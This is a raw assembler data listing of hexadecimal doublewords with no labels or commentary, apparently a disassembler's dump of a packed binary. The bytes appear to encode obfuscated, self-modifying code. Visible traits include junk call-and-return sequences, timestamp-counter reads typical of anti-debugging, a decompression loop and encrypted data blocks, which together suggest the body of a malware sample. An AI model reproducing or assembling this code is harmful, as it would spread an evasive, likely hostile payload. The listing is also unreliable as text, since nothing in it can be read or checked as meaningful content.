		dd 8D893AA7h, 6480CE5h,	5E961h,	0A6D90000h, 0AF21421h
		dd 96850FD2h, 60FFFFFFh, 42DA8166h, 0A9958912h,	61064801h
		dd 68B0F4Bh, 29000000h,	48275995h, 89604606h, 481F09B5h
		dd 39F08106h, 6149C506h, 850FDB0Bh, 0FFFFFF4Eh,	810FCFF9h
		dd 6, 2ADD9529h, 648h, 1F800Fh,	0E9600000h, 12h, 0AC70F745h
		dd 1E462994h, 23345BEDh, 0F02E184Bh, 0BD8911AFh, 6482281h
		dd 60000061h, 3221BD23h, 0B5010648h, 6482B51h, 0E9000061h
		dd 0Ch,	362BBC37h, 75D45FE6h, 0BC2251BBh, 820F0000h, 8
		dd 2800Fh, 61600000h, 38BA858Dh, 0BE90648h, 96000000h
		dd 91287E6Eh, 3D4961BAh, 858924C8h, 6482755h, 0C880Fh
		dd 810F0000h, 6, 860Fh,	858D0000h, 6483E26h, 108F0Fh, 830F0000h
		dd 0Ah,	5E9h, 1EB34100h, 85893FF0h, 6480041h, 10E8h, 74792500h
		dd 5CD6C10h, 0B35FDB0Fh, 0ECBB9ADCh, 25E28198h,	5F6DAEF1h
		dd 5973C781h, 0BF0F0000h, 0B8CAh, 958B0000h, 6481BF1h
		dd 8A3834FFh, 0B70F5EDAh, 7DF681D9h, 6613D5D0h,	81ACEEBAh
		dd 0E3E676F6h, 51E1814Eh, 810A24D0h, 9E4398EEh,	7D8D3127h
		dd 5606480Ah, 48FC0B5h,	0BD9D8B07h, 52064817h, 4721BA66h
		dd 3E8835Bh, 0DE848h, 4B7F0000h, 8EDCD64h, 0EB5660Ah, 894770F8h
		dd 4802058Dh, 0F8815906h, 0FFFFA720h, 0FF9A850Fh, 9509FFFFh
		dd 6480EDDh, 14EBh, 3 dup(0)
		dd 8B0000h, 858D0000h, 6484231h, 4CD8589h, 0BD830648h
		dd 6484169h, 3D840F00h,	0C6000001h, 480FF985h, 4E85606h
		dd 39000000h, 50D41F6Dh, 424448Bh, 4489008Bh, 0FF580424h
		dd 480ED5B5h, 0BA858D06h, 0FF064838h, 5D8589D0h, 0C6064841h
		dd 480FF985h, 37685606h, 81DD5DB9h, 1652434h, 0B5FF41F5h
		dd 6480ED5h, 38BA858Dh,	0D0FF0648h, 41618589h, 46A0648h
		dd 4E8h, 100000h, 448B5000h, 8B0424h, 4244489h,	6D858B58h
		dd 5064841h, 1F4h, 9002E0C1h, 6A9050h, 416195FFh, 85890648h
		dd 6484165h, 0FFB8D88Bh, 0FFFFFFFFh, 4804CD95h,	0FFC38B06h
		dd 4804CD95h, 96E906h, 0BD830000h, 6484169h, 1850F00h
		dd 0C3000000h, 65BD8B57h, 0AB064841h, 41658583h, 5F040648h
		dd 69BD83C3h, 64841h, 1850Fh, 60C30000h, 4165AD83h, 8B040648h
		dd 4841659Dh, 0FC7B8306h, 26850FFFh, 0E8000000h, 4, 8000h
		dd 24448B50h, 89008B04h, 58042444h, 33FF006Ah, 415D95FFh
		dd 0C3610648h, 26E9h, 4E800h, 80000000h, 8B500000h, 8B042444h
		dd 24448900h, 6A5804h, 95FF33FFh, 648415Dh, 4165AD83h
		dd 0E9040648h, 0FFFFFF9Fh, 1ADE948h, 8B600000h,	8B242474h
		dd 0FC28247Ch, 68A80B2h, 47078846h, 2BBh, 0FD20200h, 585h
		dd 46168A00h, 830FD212h, 0FFFFFFE2h, 850FD202h,	5, 1246168Ah
		dd 6A830FD2h, 33000000h, 0FD202C0h, 585h, 46168A00h, 830FD212h
		dd 12Ah, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0D202C013h, 5850Fh, 168A0000h, 13D21246h
		dd 0FD202C0h, 585h, 46168A00h, 0C013D212h, 6840Fh, 2B570000h
		dd 5F078AF8h, 0BB470788h, 2, 0FFFF70E9h, 1B8FFh, 0D2020000h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h
		dd 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h, 3485h, 1B900h
		dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h
		dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h
		dd 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh,	2000000h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C913h,	5850Fh
		dd 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh,	830F0000h
		dd 22h,	5003Dh,	0E820F00h, 41000000h, 2BF78B56h, 5EA4F3F0h
		dd 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h, 0F78B5602h
		dd 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h, 840F01E8h
		dd 17h,	8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh, 76E90000h
		dd 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h,	929h, 9D3E9h
		dd 0F4E96200h, 38F8500Eh, 0F66C7441h, 2BD109E2h, 402EF40Ch
		dd 0ADE2297Ch, 6CFC5E14h, 2AE76654h, 0F4CF3FCBh, 34BA5B03h
		dd 0A47B6649h, 2CC318B1h, 2F65FB49h, 0A7E8591Fh, 60FD4300h
		dd 28E76606h, 0F4CC30CDh, 2BBA4103h, 0A4647C54h, 37DD04AFh
		dd 446BEF5Eh, 0B0A46D7Ch, 2DEC4304h, 3DA96754h,	0F4DA24CDh
		dd 2AF5471Ah, 0AA647254h, 63h dup(0)
		dd 0F4E96200h, 24F45A07h, 0A47B7C52h, 3FDF13B2h, 526F75Eh
		dd 0E2F7687Ah, 22FD5503h, 31E67506h, 0A68835CCh, 24F45B1Fh
		dd 0ED297448h, 37C941ACh, 566BE459h, 0A7F07A6Bh, 41921E0Ch
		dd 25EC7F76h, 0F48434D1h, 22F65B1Fh, 0ED297747h, 2AD641B6h
		dd 486BFB43h, 0B0EB6477h, 22F91018h, 21FB3342h,	0A6C925D1h
		dd 22E3151Eh, 0F4296153h, 2AD70EB0h, 65FB4Dh, 48h dup(0)
		dd 0F4E96200h, 2EFB4709h, 0A37B764Dh, 37C441B1h, 4D6BFA43h
		dd 0A0A47A73h, 6CF65504h, 2AFC7C40h, 0A1DA71C6h, 23F35B04h
		dd 0EA603341h, 2DDF18E2h, 5C38B65Eh, 0AFE17D61h, 1C953A4Fh
		dd 37E8764Ah, 0A1887DC7h, 2CF55904h, 0F0603342h, 37C207E2h
		dd 4026B641h, 0BBF6667Fh, 28F65141h, 37EC6106h,	0A0DA30D6h
		dd 38F54C4Ah, 0F6793354h, 39C206ADh, 0B841h, 61h dup(0)
		dd 0BDEE6200h, 2EBA5006h, 0F17B6149h, 3CD515B2h, 716BB80Dh
		dd 0E2F7607Ah, 2BF74211h, 64E47254h, 0F4DB30CAh, 23FF5008h
		dd 0EA687E06h, 34C511ABh, 412EE24Dh, 0A6EA6832h, 35F95D41h
		dd 49837644h, 0A78F25CBh, 2BF45C4Ah, 0E17D7043h, 21D241A6h
		dd 736BF70Ch, 0B1F17B7Bh, 6CEA5F41h, 27E86145h,	0FACC34C9h
		dd 24F2614Ah, 0ED6F3355h, 2F9004AEh, 516CF843h,	0B0EB7E32h
		dd 22F9100Ah, 36E67E5Fh, 7FC7h,	0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
		dd 2D31E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0E167ED52h, 957610BEh, 10E9FC21h
		dd 0BD000000h, 340C6E14h, 27C6862h, 18C4DA06h, 0F490B41h
		dd 680h, 91958900h, 8B064829h, 57006AC0h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 26786617h
		dd 2729B589h, 0BD830648h, 6481299h, 83097500h, 480D35BDh
		dd 13740006h, 0C08B5350h, 1B8h,	69D8D00h, 0FF064AA3h, 83585BD3h
		dd 480D35BDh, 11740006h, 1B85350h, 8D000000h, 4AA1B79Dh
		dd 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0E33C70E7h, 18259589h, 0D88B0648h
		dd 9D33C08Bh, 6482895h,	0D6DBD83h, 0F000648h, 1ED84h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 95895FFAh, 6482991h,	0CE9h, 0A984C200h, 0AFABC5A7h
		dd 0B2B82162h, 0E5BD8345h, 64808h, 1AC840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 60B9FEC3h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 17h,	28C35646h, 8BD60C30h, 48062995h, 21BD8906h, 8B06482Ch
		dd 4808E585h, 0E805F906h, 8B000003h, 8E890D6h, 0FE000000h
		dd 6BE5E399h, 66E77466h, 5B702CBAh, 4810F50h, 66000000h
		dd 90F1A9BAh, 3E858DFCh, 6A06484Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0EF8FC353h
		dd 0FE95Fh, 0A2FE0000h,	8AAFA342h, 826296A2h, 0E6E05ECAh
		dd 47BB50D1h, 890693A1h, 0B5892404h, 648318Dh, 4E1C858Dh
		dd 6A0648h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0B9A9AEC3h, 9F0775F8h, 9D8B8924h,	6482B29h
		dd 0C8E0F50h, 0F000000h, 68Ch, 890F00h,	89000000h, 952B2404h
		dd 6482B7Dh, 286195FFh,	6A0648h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0AB8536C3h, 8160FBEFh
		dd 54ABC7D8h, 5E91Ah, 0C1BE0000h, 61672782h, 0C4839FB3h
		dd 0D281660Ch, 858D9437h, 6484E1Ch, 0AD8D8960h,	0F506480Ah
		dd 0D38B9061h, 909DB650h, 0B299589h, 95310648h,	6481215h
		dd 952B026Ah, 6483215h,	857495FFh, 6A0068h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0BEA18EC3h
		dd 0B58580D0h, 3BBAA4EBh, 61740689h, 15B19D01h,	85C70648h
		dd 6484E4Fh, 1,	335D9D29h, 0E9500648h, 0Bh, 0CAA718FAh
		dd 548796C1h, 8984F6E3h, 958B2434h, 6480945h, 4E00B589h
		dd 8B660648h, 0E5BD83DFh, 1064830h, 31850Fh, 8B660000h
		dd 5F883DEh, 25850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0B849C3h, 66000000h
		dd 83DEC8BAh, 480091BDh, 840F0006h, 50h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ch, 4AC35747h, 8F354BBEh
		dd 5F70E0B8h, 13E8h, 0E71A5900h, 20333945h, 0E88CB8ABh
		dd 832B97C9h, 8C11E455h, 0F61B529h, 0B75A0648h,	0B81Ah
		dd 85890000h, 64828EDh,	11958B60h, 8B06480Eh, 48155185h
		dd 0C083F806h, 89C2B302h, 484DF885h, 0D2816606h, 800FF7BEh
		dd 2, 0C6DE8Bh,	94EB81FFh, 8B4FC955h, 4817099Dh, 0F985C606h
		dd 5306480Fh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 19h,	5CC35646h, 0F3F70EBAh, 0D9B70F6Dh, 871B3E68h, 0DA8B6696h
		dd 0E6243481h, 6A6A3653h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 931FC356h, 0B5FFB510h
		dd 64829A9h, 6A98D31h, 858D0648h, 64B7F60h, 1CB98D89h
		dd 0D0FF0648h, 27B9958Bh, 85890648h, 648092Dh, 0D135BB66h
		dd 4B9BD83h, 0F010648h,	10385h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0CFF2D273h
		dd 0F6EA5D4h, 98Bh, 3810F00h, 80000000h, 6A616EE7h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0FF7C351h, 0ABB3DFB7h, 0FF985C6h, 66450648h,	3B34E381h
		dd 858BA768h, 1CC4BAE0h, 348118C6h, 0E5B36524h,	56006A3Ah
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0B5FF0121h, 64829A9h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 16h, 0CEC35040h, 7E9B643h,	8D000000h, 49403592h
		dd 858DDDEEh, 64B7F60h,	3B18D89h, 0D0FF0648h, 5AF78A50h
		dd 0BCA6E381h, 6A7A6Bh,	8166ADB7h, 0FF41A8E2h, 52006AD0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 6C60CD29h, 0DEB6CD3Dh, 2781BD83h, 0F010648h,	0E685h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 51858BCAh, 6A064815h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 85CEC352h
		dd 0FD8CFBF3h, 608B5298h, 7E9F9h, 0C3F0000h, 0A4DEC8B7h
		dd 0C3806189h, 78E9A0h,	95890000h, 64805E9h, 8A90D98Ah
		dd 0BB6650D7h, 5190D212h, 170D8501h, 6A5B0648h,	52006A14h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 93DA7FD1h, 0BFFF05FDh, 6880F51h, 89000000h, 48120D8Dh
		dd 2D95FF06h, 0F064809h, 6A58D8BFh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0DD45C350h
		dd 29199D8Bh, 38800648h, 87850F00h, 8BFFFFFFh, 100C6D7h
		dd 61D78B66h, 0F5DBD83h, 0F000648h, 2F84h, 0E2806000h
		dd 158D33E1h, 6106482Bh, 8D89FF6Ah, 64829C5h, 92D95FFh
		dd 8D290648h, 648230Dh,	0E9D78B66h, 0FFFFFFE4h,	0DD958B50h
		dd 5B06482Bh, 0F5D85C7h, 10648h, 57560000h, 5C80BB66h
		dd 85895B5Bh, 6484E04h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0FBC35343h, 860F2F3Fh, 19h, 14E9h, 31DF0B00h
		dd 4370348Ah, 5D28EAF0h, 4F7327DEh, 36542CF1h, 4895079h
		dd 1A5EBB24h, 0E8607A50h, 8, 0E5973316h, 26786617h, 2CEA8166h
		dd 958B5BD3h, 6482B29h,	5E8056Ah, 0FA000000h, 753DA402h
		dd 5BD08B66h, 4E1C858Dh, 8B500648h, 240489DEh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0A1C35545h, 0E11D4C94h
		dd 4E0C858Dh, 9D8B0648h, 6482839h, 6800Fh, 9D8B0000h, 6480DE9h
		dd 0F525090h, 28Dh, 0F616000h, 8E85631h, 8000000h, 0F7CBD160h
		dd 5BBB7126h, 50585A5Bh, 90D08B66h, 1C419D8Bh, 95FF0648h
		dd 64832A5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	66C35242h, 7AFF8D8Dh, 85290648h, 64803DDh, 1174C00Bh
		dd 4E1C858Dh, 0FF500648h, 3A8589D1h, 0EB06484Eh, 3A85C70Ah
		dd 0FF06484Eh, 31FFFFFFh, 48059185h, 0FDB50906h, 61064803h
		dd 85C69DB3h, 6480FF9h,	65BD294Dh, 68064810h
		dd 7EE4284Ah, 481D38Bh,	514E5E24h, 57006A25h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 9601C489h
		dd 0FBCFBB66h, 7BDB5FFh, 0DA8B0648h, 7F60858Dh,	6A064Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0C6FA3CC3h, 8912BA58h, 480CC595h, 6AD0FF06h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0F896C353h, 0E95DADA8h, 0Eh,	648B5758h, 8DA0A30Dh, 0A450AB58h
		dd 85890B4Bh, 64815D5h,	18A0Fh,	33F50000h, 482B6995h, 0F985C606h
		dd 4506480Fh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 14h,	0CAC35343h, 0EE9h, 0FF35900h, 8BE8959h,	8B5B1AA5h
		dd 8B72BA38h, 4E8DEh, 69690000h, 0B1B28E72h, 0F525050h
		dd 58Ah, 16B4BB00h, 310F485Ch, 585AD7B3h, 424448Bh, 0EE8h
		dd 0BAA86F00h, 0EB6D19C2h, 8EB5E6FCh, 0B3BA4E2Eh, 8B5A84h
		dd 44895EB6h, 0BB660424h, 8058AA00h, 0B5FFC1DBh, 64829A9h
		dd 8B66D08Bh, 60858DDFh, 89064B7Fh, 4803AD85h, 0E9D0FF06h
		dd 0Eh,	23C802F6h, 0A34B7C7Fh, 1D7CD906h, 8B667ED1h, 0D98589DAh
		dd 6A06481Ah, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 3828C352h, 73EA8166h, 6AD28B47h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0BBEBC351h, 8B8FEF3Fh, 481AB19Dh,	0D98C6606h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 82C35141h
		dd 1755CCFAh, 1A399D8Bh, 0C1F60648h, 0E7840F04h, 6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 4533C353h, 0E9A4D7FDh, 102h, 9850Fh, 0BE600000h
		dd 70BAFA91h, 8B61C28Bh, 48182DB5h, 9E906h, 0F6F80000h
		dd 0ECA5A2F3h, 52E57FE2h, 815B08B7h, 1180C6h, 356BBA00h
		dd 0BD83172Eh, 64805B5h, 18850F00h, 8B000000h, 48139595h
		dd 0A8E906h, 800F0000h,	2, 8166DF8Bh, 83974BC3h, 840F003Eh
		dd 92h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh
		dd 7BC35242h, 67360A38h, 6CF761A0h, 0F59D8B8Ah,	60064807h
		dd 0F2816660h, 12E9E84Dh, 7A000000h, 0B96C9C7Eh, 2F11D9E5h
		dd 87A8323Bh, 0B91FB86h, 850F6179h, 1, 9146AF5h, 48318D9Dh
		dd 2D95FF06h, 66064809h, 32E6F381h, 55006A61h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 4A2F3AE5h
		dd 0E938D80Bh, 0FFFFFF6Bh, 0E19BD09h, 6C70648h,	1, 5E9h
		dd 2FA4000h, 0BD833DA4h, 6484E04h, 0B3850F05h, 66000000h
		dd 0FB91CA81h, 1AD9B58Bh, 6DBA0648h, 0B97E50D9h, 64h, 38C0F60h
		dd 66000000h, 0B966DA8Bh, 8061B5FCh, 840FE83Eh,	3Dh, 3359950Bh
		dd 5E90648h, 0A9000000h, 50E6710Bh, 38E9h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 0C33E53B4h, 8B812417h, 48119D9Dh, 57E8006h, 33840FC2h
		dd 89000000h, 4806C585h, 0B5014606h, 64815CDh, 9C850F49h
		dd 0E8FFFFFFh, 8, 0CDD10A65h, 0D79AD018h, 895BF2B2h, 481625B5h
		dd 10E906h, 0BA660000h,	0B5893E3Eh, 64822E5h, 1CD99D8Bh
		dd 6A580648h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 441BC355h, 25BFF389h, 833D0BB5h
		dd 4812D9BDh, 840F0006h, 0EFh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 1BC35343h, 8AD7B348h, 99F704FAh
		dd 89D2BF0Fh, 48203D9Dh, 8D896006h, 6480F55h, 0FF985C6h
		dd 81540648h, 9F5B31DAh, 185894Fh, 68064804h, 0FC7F1B23h
		dd 0B8A0Fh, 52500000h, 6BBB310Fh, 5A224ED5h, 24048158h
		dd 2CFA3D1h, 14019D8Bh,	85010648h, 64832D5h, 29A9B5FFh
		dd 0BF0F0648h, 60858DDFh, 0F064B7Fh, 68Ch, 0D59D8900h
		dd 0FF064819h, 87DE80D0h, 0D88A006Ah, 12D9B5FFh, 6A0648h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 8D0D56C3h, 0BA660B63h, 0D0FF8028h, 27D1B589h, 6A610648h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 48C1C350h, 0DD286A69h, 0F1B5892Fh, 0C7064822h
		dd 4812FD85h, 106h, 0F5BD0100h,	89064808h, 482A7DBDh, 6A6006h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 29F0C2C3h, 480EBD95h, 4E806h, 800000h, 0E9500000h, 6
		dd 6D78F1Ah, 448BFB85h,	52500424h, 0DE8h, 225B9300h, 0A2E0FA2Eh
		dd 70338984h, 6E8CE48h,	0D7000000h, 0CEC20178h,	0F5B5A95h
		dd 0B6525031h, 60310F6Dh, 5A585A61h, 0BA008B58h, 12A49C28h
		dd 4244489h, 52505051h,	585A310Fh, 1585B5Ah, 48203DBDh
		dd 0D9D3306h, 6A064802h, 0AE8FFh, 4CAF0000h, 0E5FDB3AEh
		dd 0E42CE1C5h, 5E1B589h, 0FF5A0648h, 48203995h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0B143BFE1h, 99858997h, 8A064828h, 8D8961D4h,	64806A9h
		dd 6090D68Bh, 64DABF66h, 5061F38Ah, 2114D6BBh, 858B901Fh
		dd 6480BC9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	0BEC35545h, 0C37BA643h,	764888C2h, 840FC00Bh, 0Bh
		dd 0B57BA66h, 1A5195FFh, 0C7F80648h, 48123985h,	106h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 123D9BCDh, 5840F96h,	0BA000000h, 50339468h, 0EE8F9h
		dd 7D0A0000h, 0B22DB9E4h, 0F4D807A8h, 8968B5F0h, 2FFD950Bh
		dd 835B0648h, 482981BDh, 840F0006h, 0Bh, 4CF5BBBBh, 3995FF50h
		dd 83064827h, 480E95BDh, 840F0006h, 4Ah, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 0F8C35646h, 53C6DD09h
		dd 0AE9h, 12CFA000h, 0B2206400h, 5AE6505Dh, 1A6595FFh
		dd 0FE90648h, 0E9000000h, 0BBC53706h, 5E14ED81h, 0FB698B8Ah
		dd 0BD838F72h, 6480135h, 99840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 308CC357h, 0DD9D89C0h, 0E9064832h, 13h, 0F06A0150h
		dd 882F68ABh, 99A8A40Fh, 0E27CC865h, 83BC08EFh,	480691BDh
		dd 850F0006h, 50h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 69C35141h, 95FFD78Bh,	6481CB5h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0EAC35040h, 0E9D4E3D2h
		dd 457B50C8h, 2D9D8B51h, 5A064832h, 2EC9BD83h, 0F000648h
		dd 6284h, 0AE900h, 80800000h, 0AB84B4D5h, 0FE7DB4CCh, 29B98581h
		dd 40030648h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 3B7D8BC3h, 2FF98581h, 40030648h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0C3F688C3h, 0FF8A90Fh, 0BD8D2931h
		dd 66064810h, 0FB97C381h, 5DFF8D8Dh, 958B0648h,	6481259h
		dd 0D98B0189h, 6AC233h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0CE93CC3h, 1A000000h, 0AC5D1605h
		dd 0A093EF93h, 8B98ED1Dh, 48186195h, 4418906h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 1EC35545h, 0EA91F8E5h
		dd 0E626D2BFh, 310FD58Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 80C35545h, 0EC1FD6B1h, 3FD78EBCh, 10018D89h
		dd 8D8D0648h, 6485E27h,	189DF8Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 54C35343h, 66D042B1h, 330838BBh
		dd 13E9C2h, 0BF560000h,	0F953856Eh, 0E851A10Bh,	6FEE2B14h
		dd 0E9653017h, 441899Fh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 3BC35646h, 29958BE2h,	8306481Bh, 480F05BDh
		dd 840F0006h, 14h, 91BD8951h, 5B064813h, 2B4D95FFh, 95010648h
		dd 6480D39h, 12D1BD83h,	0F010648h, 6185h, 0BE900h, 0D92D0000h
		dd 0F19DC549h, 0A40B5632h, 4CE9E4h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0B045CCC3h
		dd 0CFD01355h, 8B664E42h, 0A4B58BD3h, 0C706485Fh, 6, 0CEB58B00h
		dd 0C706485Ch, 6, 0BEBACF00h, 0F0B5A74h, 0BA66DAB7h, 0BD838BD9h
		dd 6481239h, 8840F00h, 89000001h, 4816A19Dh, 0A5BD8306h
		dd 1064811h, 0E3850Fh, 9D030000h, 64815C5h, 4DF88D8Bh
		dd 95290648h, 648288Dh,	1C6D88Bh, 12E900h, 0DEF60000h
		dd 20980B8Ah, 0CE2A4426h, 7D5D012Dh, 0BCDFE0ADh, 0EE960h
		dd 99E50000h, 7EEF0838h, 0A1BD06BFh, 0F552AAD3h, 0A0AB7B68h
		dd 0DE883h, 0CA000000h,	25FA454h, 0FEFC23D7h, 0B2D3D87Ch
		dd 4815B4Ah, 5F550524h,	0FF6AF87Ch, 11800Fh, 8B0F0000h
		dd 0Bh,	6E9h, 9A95D900h, 0FF20DA1Ah, 48203995h,	299D8906h
		dd 61064820h, 0B70F09B6h, 5D95FFD6h, 8B06481Bh,	0F88D8BD0h
		dd 6A06484Dh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 3077C350h, 4ADDE585h, 0D2BF0F51h
		dd 6A01FEh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0B667D4C3h, 15BD83F5h, 1064804h, 5850Fh
		dd 93BB0000h, 8B52F0DBh, 0D1B70FC0h, 1299BD83h,	75000648h
		dd 35BD8309h, 6480Dh, 53501A74h, 858BC08Bh, 64829B9h, 29B98589h
		dd 9D8D0648h, 64AA464h,	585BD3FFh, 0D35BD83h, 74000648h
		dd 8B535018h, 4829B985h, 0B9858906h, 8D064829h,	4AA1539Dh
		dd 5BD3FF06h, 6D850158h, 8B06481Ch, 4828E19Dh, 79BAF806h
		dd 8B5A2867h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 228B9500h, 14FF747Eh, 3ADB529h, 0BD830648h
		dd 6481239h, 24850F00h,	89000000h, 4805A995h, 0E5BD8306h
		dd 64805h, 11840Fh, 0E8F80000h,	8, 98FA768Fh, 0E1140ED9h
		dd 835BD98Bh, 481239BDh, 840F0006h, 19h, 2821BD09h, 0BD830648h
		dd 64808D1h, 6840F00h, 81000000h, 4AF36DAh, 39BD8308h
		dd 64812h, 3B840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 9AA266C3h, 796646C1h
		dd 0C3816677h, 0BD83D49Dh, 64808D1h, 6840F00h, 2B000000h
		dd 48107595h, 39BD8306h, 64812h, 32840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 96E7E5C3h, 11BD835Dh, 64831h, 6840Fh, 0EA810000h, 676B720Fh
		dd 1239BD83h, 0F000648h, 4284h,	399D8900h, 83064817h, 483209BDh
		dd 840F0006h, 2Fh, 85D8D09h, 95FF0648h,	6480315h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 4BC35141h, 81665023h
		dd 8BD50FCAh, 0DD8509C0h, 83064812h, 481299BDh,	9750006h
		dd 0D35BD83h, 74000648h, 8B53501Ah, 0F9858BC0h,	8906482Fh
		dd 482FF985h, 0CB9D8D06h, 0FF064AA4h, 83585BD3h, 480D35BDh
		dd 18740006h, 858B5350h, 6482FF9h, 2FF98589h, 9D8D0648h
		dd 64AA16Ch, 585BD3FFh,	0B1EA8166h, 6AF995h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0DCFAF2C3h
		dd 199D8B13h, 89064809h, 482C398Dh, 6AC08B06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 2634C351h, 8AFD36A0h, 50DCD468h, 0DE9h, 17AE8800h, 0A5AC8F69h
